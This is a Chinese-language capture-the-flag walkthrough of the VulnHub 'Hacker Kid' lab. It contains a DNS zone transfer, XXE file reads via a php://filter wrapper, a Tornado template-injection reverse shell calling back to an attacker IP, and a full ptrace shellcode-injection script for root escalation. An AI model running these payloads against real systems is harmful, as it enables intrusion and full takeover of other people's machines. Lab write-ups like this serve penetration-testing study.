目录
地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ovahttps://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
一、扫描存活主机
二、端口
三、服务版本
四、信息收集
1.查看页面源代码
2.burp爆破参数
(1)21参数
(2)尝试21
(3)绑定hosts
3.查看页面功能
4.、dig挖掘
5.绑定hosts
6.9999端口信息收集
五、xxe漏洞
1.功能测试
2.信息收集
3.抓包测试
(1)抓到的数据包
(2)测试
(3).bashrc
六、尝试登录
1.提示信息
2.提交参数
七、模板注入
1.测试是否有模板注入
2.反弹sehll
八、提权
1.查看capabilities
编辑 2.查看系统进程
3.利用代码
(1)在kali本机编写inject.py文件
(2)http传输文件
(3)批量执行
(4)查看5600进程
(5)连接shell
nmap -sP 192.168.43.27/24
nmap -p- 192.168.43.254
nmap -p53,80,9999 -sV 192.168.43.254
两个http服务,一个域名服务,tornado是一个web轻量级框架,Django简化版。ISC是域名解析服务软件。
因为这是一个oscp风格的靶机,所以重在信息收集,
发现了一个page_to的参数,尝试去提交这个参数。
当我们提交1的时候,他写了句 深入了一点这不是在、正确的吗,证明方式没有错,但参数值可能有错,尝试去爆破。
可以看到 参数值为21的时候有所不同。
可以看到 这些信息,他创建了一些子域以便返回服务器,其中一个是hacker.blackat.local,这个网站部署方式是采用同ip不同域名来访问不同页面,所以我们去修改hosts文件,绑定域名和ip,让其能正确访问。
用root用户来修改hosts文件
为何绑定两个域名,因为主机名加域名,和只是域名可能是不同的页面。但是呢,访问一个和原界面一样,一个403了。
这里几个功能没什么有用信息,也没什么漏洞,之后我们尝试用dig命令进行区域传输攻击来获取dns服务器的所有主机名。
dig axfr @192.168.43.254 blackhat.local
利用区域传输漏洞我们拿到了很多主机名信息,挨个与ip绑定,看是否有新的收获。
全部绑定完成后,挨个去访问,我们发现了一个新的注册界面
对每个域名的9999端口进行访问,发现了一个登录框。
这个页面咋注册都无效
查看页面源代码,发现有这些数据以xml格式传输的,考虑是否有xxe漏洞。
]>
&xxe;
很明显给我们返回了/etc/passwd文件内容;存在xxe漏洞。在/etc/passwd中我们收集到一些用户信息,有一个特别的saket用户,之后再对sacket的主目录进行信息收集
当我们查看.bashrc文件时,发现啥都没有,隐藏文件直接用file协议查看是查看不到的,我们用封装器来查看源码,我们在源码最后发现了用户名和密码
php:
//filter/read=convert.base64-encode/resource=/home/saket/.bashrc
在尝试admin的时候显示错误,但是这个密码是处于saket用户下的,尝试saket登录
ok,成功登录,
告诉我你的名字,怎么能知道你是谁?那我们就顺着他来,来提交name参数
尝试后发现我们提交的参数都会显示到页面上
大家可以自己去了解一下模板注入,类似sql注入的一种注入类型。
{{1+asdf}}${1+asdf}<%1+abfd%>[safsdafs]
or
${7*7}{{7*7}}
发现产生了报错,还看到Template这个渲染函数,所以可以肯定是一个模板注入点。
{% import os %}{{ os.system(' bash -c "bash -i >& /dev/tcp/192.168.43.27/4444 0>&1 "')}}
对特殊符号进行编码
%7B%25%20import%20os%20%25%7D%7B%7B%20os.system%28%27%20bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.27%2F4444%200%3E%261%20%22%27%29%7D%7D
系统权限细分,由capabilities赋予权限,我们可以利用某些权限的漏洞来进行提权。
/sbin/getcap -r / 2>/dev/null
python2.7被赋予了cap_sys_ptrace这样的一个权限,大概就是跟踪调试进程,给进程传输数据这样的功能。所以我们可以利用这个权限搞事情。
ps -aef | grep root
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("
python3 -m http.server 80
wget http://192.168.43.27/inject.py
找root进行注入,因为一个个试效率太慢,所以脚本批量跑。
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
ss -pantu |grep 5600
如果存在证明注入成功,在kali端nc连接即可
拿到root权限